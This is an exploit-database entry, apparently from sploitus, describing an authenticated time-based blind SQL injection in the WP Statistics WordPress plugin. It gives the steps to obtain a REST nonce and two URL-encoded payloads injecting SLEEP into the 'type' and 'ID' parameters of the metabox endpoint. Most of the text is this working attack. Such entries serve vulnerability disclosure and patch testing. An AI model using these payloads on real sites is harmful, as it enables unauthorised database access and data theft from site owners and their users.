## https://sploitus.com/exploit?id=WPEX-ID:18B7E93F-B038-4F28-918B-4015D62F0EB8
Log in as a user allowed to View WP Statistic (by default admins, but this can be changed in Statistic > Settings > Roles) and get a nonce via https://a.com/wp-admin/admin-ajax.php?action=rest-nonce, and use it in the URLs below, which will result in a 6s delay
https://a.com/wp-json/wp-statistics/v2/metabox?_wpnonce=XXXX&name=pages-chart&ago=1&type=a%27%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(2)))Ab)--%20Cd
https://a.com/wp-json/wp-statistics/v2/metabox?_wpnonce=XXXX&name=pages-chart&ago=1&ID=1%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(2)))Ab)--%20Cd